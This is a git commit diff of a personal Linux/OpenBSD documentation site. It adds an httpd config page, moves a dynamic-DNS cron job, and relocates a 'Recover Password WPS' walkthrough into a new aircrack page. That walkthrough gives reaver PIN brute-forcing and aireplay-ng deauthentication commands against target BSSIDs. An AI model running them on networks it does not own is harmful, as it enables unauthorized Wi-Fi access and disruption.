diff options
author | punk <punk@libernaut> | 2021-04-23 20:37:35 +0100 |
---|---|---|
committer | punk <punk@libernaut> | 2021-04-23 20:37:35 +0100 |
commit | 2fc20ef28d32bd8de7be2e2095519a24272b51bd (patch) | |
tree | c0b7c2c0e546e58b329644a0d4def316b946e0f3 | |
parent | 4107462e9ec1cabaa7f89bd8478caec3f0d5b46a (diff) | |
download | doc-2fc20ef28d32bd8de7be2e2095519a24272b51bd.tar.gz |
several fix's
-rw-r--r-- | linux/index.html | 1 | ||||
-rw-r--r-- | linux/network.html | 20 | ||||
-rw-r--r-- | linux/wireless.html | 94 | ||||
-rw-r--r-- | tools/aircrack.html | 117 | ||||
-rw-r--r-- | tools/httpd.html | 65 | ||||
-rw-r--r-- | tools/index.html | 1 | ||||
-rw-r--r-- | tools/network.html | 82 |
7 files changed, 204 insertions, 176 deletions
diff --git a/linux/index.html b/linux/index.html index c9a130f..8f8247c 100644 --- a/linux/index.html +++ b/linux/index.html @@ -178,6 +178,7 @@ <li><a href="tcpdump.html">2.7.8. Tcpdump</a></li> <li><a href="nmap.html">2.7.9. Nmap</a></li> <li><a href="wireless.html">2.7.10 Wireless</a></li> + <li><a href="network.html#domain">Domain</a></li> </ul> </li> <li><a href="storage.html">2.4 Storage</a> diff --git a/linux/network.html b/linux/network.html index a0e542e..8c624ab 100644 --- a/linux/network.html +++ b/linux/network.html @@ -463,6 +463,26 @@ nmcli> save persistent </pre> + <h2 id="domain">Domain</h2> + + <p>To configure a sub-domain from + <a href="http://freedns.afraid.org">afraid.org</a>, + <a href="https://freedns.afraid.org/dynamic/v2/">generate cron job</a> + to update ip every 5 minutes, check + <a href="https://freedns.afraid.org/dynamic/v2/tips/">about dynamic interface</a>. + To run as system cron job add as root and remove + path line from example;</p> + + <pre> + # crontab -e + </pre> + + <p>Replace KEY and domain_name with correct one;</p> + + <pre> + 4,9,14,19,24,29,34,39,44,49,54,59 * * * * sleep 22 ; wget --no-check-certificate -O - https://freedns.afraid.org/dynamic/update.php?[KEY]= >> /var/log/freedns_domain_name.log 2>&1 & + </pre> + <a href="index.html">GNU/Linux Index</a> <p> diff --git a/linux/wireless.html b/linux/wireless.html index e15b112..82efd49 100644 --- a/linux/wireless.html +++ b/linux/wireless.html @@ -28,100 +28,6 @@ </pre> - <h4>Recover Password WPS</h4> - - <p>First check processes that interfere with state of the interface and kill them;</p> - - <pre> - # airmon-ng check - - - Found 5 processes that could cause trouble. - If airodump-ng, aireplay-ng or airtun-ng stops working after - a short period of time, you may want to kill (some of) them! - - PID Name - 1271 wpa_supplicant - 1576 wpa_supplicant - 1633 dhclient - Process with PID 1576 (wpa_supplicant) is running on interface wlan0 - Process with PID 1633 (dhclient) is running on interface wlan0 - </pre> - - <p>Pkill or kill all of them, ex 1271;</p> - - <pre> - # kill -15 1271 - </pre> - - <p>If that fails;</p> - - <pre> - # kill -9 1271 - </pre> - - <p>If wireless card is intel;</p> - - <pre> - # rmmod iwlmvm - # rmmod iwlwifi - # modprob iwlwifi - </pre> - - <p>Put interface in monitor mode;</p> - - <pre> - # iwconfig wlp2s0 mode monitor - # ifconfig wlp2s0 up - </pre> - - <pre> - # airmon-ng start wlp2s0 - - - Interface Chipset Driver - - wlp2s0 Intel AC iwlwifi - [phy1] - (monitor mode enabled on mon0) - </pre> - - <p>Airdump-ng don't report if a router have WPS or not, for that is used wash;</p> - - <pre> - # wash -i wlp2s0 - </pre> - - <p>If the program report "Found packet with bad FCS", run with -C;</p> - - <pre> - # wash -C -i wlp2s0 - </pre> - - <p>Put mon0 on same channel of target cell;</p> - - <pre> - # iwconfig mon0 channel 6 - </pre> - - <p>Start the magic;</p> - - <pre> - # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -vv - </pre> - - <p>If BSSID is cloaked, not being broadcasted, provide it to reaver;</p> - - <pre> - # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -e "bssid_name" -vv - </pre> - - <p>-a address of access point, -c client to deauthenticate</p> - - <pre> - aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 - </pre> - - <a href="index.html">Tools Index</a> <p>This is part of the LeetIO System Documentation. diff --git a/tools/aircrack.html b/tools/aircrack.html new file mode 100644 index 0000000..5c8c42f --- /dev/null +++ b/tools/aircrack.html @@ -0,0 +1,117 @@ +<html dir="ltr" lang="en"> + <head> + <meta charset='utf-8'> + <title>Aircrack-ng</title> + </head> + <body> + <a href="index.html">Tools Index</a> + + <h1>Aircrack-ng</h1> + + <p>On OpenBSD;</p> + + <pre> + # ifconfig athn0 mediaopt monitor + </pre> + + + <h2>Linux - WPS</h2> + + <p>On linux there is airmon-ng to First check processes that interfere with state of the interface and kill them;</p> + + <pre> + # airmon-ng check + + + Found 5 processes that could cause trouble. + If airodump-ng, aireplay-ng or airtun-ng stops working after + a short period of time, you may want to kill (some of) them! + + PID Name + 1271 wpa_supplicant + 1576 wpa_supplicant + 1633 dhclient + Process with PID 1576 (wpa_supplicant) is running on interface wlan0 + Process with PID 1633 (dhclient) is running on interface wlan0 + </pre> + + <p>Pkill or kill all of them, ex 1271;</p> + + <pre> + # kill -15 1271 + </pre> + + <p>If that fails;</p> + + <pre> + # kill -9 1271 + </pre> + + <p>If wireless card is intel;</p> + + <pre> + # rmmod iwlmvm + # rmmod iwlwifi + # modprob iwlwifi + </pre> + + <p>Put interface in monitor mode;</p> + + <pre> + # iwconfig wlp2s0 mode monitor + # ifconfig wlp2s0 up + </pre> + + <pre> + # airmon-ng start wlp2s0 + + + Interface Chipset Driver + + wlp2s0 Intel AC iwlwifi - [phy1] + (monitor mode enabled on mon0) + </pre> + + <p>Airdump-ng don't report if a router have WPS or not, for that is used wash;</p> + + <pre> + # wash -i wlp2s0 + </pre> + + <p>If the program report "Found packet with bad FCS", run with -C;</p> + + <pre> + # wash -C -i wlp2s0 + </pre> + + <p>Put mon0 on same channel of target cell;</p> + + <pre> + # iwconfig mon0 channel 6 + </pre> + + <p>Start the magic;</p> + + <pre> + # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -vv + </pre> + + <p>If BSSID is cloaked, not being broadcasted, provide it to reaver;</p> + + <pre> + # reaver -i mon0 -b A8:A6:68:98:0C:C5 -c 6 -e "bssid_name" -vv + </pre> + + <p>-a address of access point, -c client to deauthenticate</p> + + <pre> + aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 + </pre> + <a href="index.html">Tools Index</a> + <p>This is part of the LeetIO System Documentation. + Copyright (C) 2021 + LeetIO Team. + See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a> + for copying conditions.</p> + </body> +</html> diff --git a/tools/httpd.html b/tools/httpd.html new file mode 100644 index 0000000..affb121 --- /dev/null +++ b/tools/httpd.html @@ -0,0 +1,65 @@ +<!DOCTYPE html> +<html dir="ltr" lang="en"> + <head> + <meta charset='utf-8'> + <title>Httpd</title> + </head> + <body> + + <a href="index.html">Tools Index</a> + + <h1>Httpd</h1> + + <p>On OpenBSD copy default configuration file;</p> + + <pre> + # cp /etc/examples/httpd.conf /etc/httpd.conf + </pre> + + <p>Default configuration looks like this;</p> + + <pre> + # $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $ + + server "example.com" { + listen on * port 80 + location "/.well-known/acme-challenge/*" { + root "/acme" + request strip 2 + } + location * { + block return 302 "https://$HTTP_HOST$REQUEST_URI" + } + } + + server "example.com" { + listen on * tls port 443 + tls { + certificate "/etc/ssl/example.com.fullchain.pem" + key "/etc/ssl/private/example.com.key" + } + location "/pub/*" { + directory auto index + } + location "/.well-known/acme-challenge/*" { + root "/acme" + request strip 2 + } + } + </pre> + + <p>Check configuration;</p> + + <pre> + httpd -n + </pre> + + <a href="index.html">Tools Index</a> + <p> + This is part of the LeetIO System Documentation. + Copyright (C) 2021 + LeetIO Team. + See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a> + for copying conditions.</p> + </body> +</html> diff --git a/tools/index.html b/tools/index.html index dd73571..f4a3be2 100644 --- a/tools/index.html +++ b/tools/index.html @@ -87,6 +87,7 @@ <li><a href="openssh.html#reverse">3. Reverse connection</a></li> </ul> </li> + <li><a href="httpd.html">Httpd</a> <li><a href="nginx.html">Nginx</a> <ul> <li><a href="nginx.html#install">1. Install Nginx</a></li> diff --git a/tools/network.html b/tools/network.html deleted file mode 100644 index 080ba05..0000000 --- a/tools/network.html +++ /dev/null @@ -1,82 +0,0 @@ -<!DOCTYPE html> -<html dir="ltr" lang="en"> - <head> - <meta charset='utf-8'> - <title>Network Tools</title> - </head> - <body> - - <a href="index.html">Tools Index</a> - - <h1>Network Tools</h1> - - <p>This document extend - <a href="../linux/network.html">core network</a>, - that cover the most common environments, with - virtual networks and bridges.</p> - - <p>To configure a sub-domain from - <a href="http://freedns.afraid.org">afraid.org</a>, - <a href="https://freedns.afraid.org/dynamic/v2/">generate cron job</a> - to update ip every 5 minutes, check - <a href="https://freedns.afraid.org/dynamic/v2/tips/">about dynamic interface</a>. - To run as system cron job add as root and remove - path line from example;</p> - - <pre> - # crontab -e - </pre> - - <p>Replace KEY and domain_name with correct one;</p> - - <pre> - 4,9,14,19,24,29,34,39,44,49,54,59 * * * * sleep 22 ; wget --no-check-certificate -O - https://freedns.afraid.org/dynamic/update.php?[KEY]= >> /var/log/freedns_domain_name.log 2>&1 & - </pre> - - <h2 id="bridge">Bridges</h2> - - <p>For more information about bridges read - <a href="http://ebtables.netfilter.org/br_fw_ia/br_fw_ia.html#section7">bridges with iptables</a>. - Script <a href="conf/etc/rc.d/blan">/etc/rc.d/blan</a> creates br0 bridge interface - with 10.0.0.1 ip. Number of tap interfaces created and attached depends on number - of cpu cores available. Ethernet interface is added to the bridge. Edit /etc/rc.conf - to setup interfaces at startup;</p> - - <pre> - # - # /etc/rc.conf: system configuration - # - - FONT=default - KEYMAP=dvorak - TIMEZONE="Europe/Lisbon" - HOSTNAME=machine - SYSLOG=sysklogd - SERVICES=(lo iptables wlan blan crond) - - # End of file - </pre> - - <p>Change iptables init script - <a href="../linux/conf/rc.d/iptables">/etc/rc.d/iptables</a> - and set TYPE to bridge, - <a href="../linux/conf/iptables/bridge.v4">/etc/iptables/bridge.v4</a>. - Now change - <a href="../linux/conf/iptables/ipt-conf.sh">ipt-conf.sh</a> - and <a href="../linux/conf/iptables/ipt-bridge.sh">ipt-bridge.sh</a> - with your network configuration and run; - </p> - - <pre> - # bash ipt-bridge.sh - </pre> - - <a href="index.html">Tools Index</a> - <p>This is part of the LeetIO System Documentation. - Copyright (C) 2021 - LeetIO Team. - See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a> - for copying conditions.</p> - - </body> -</html> |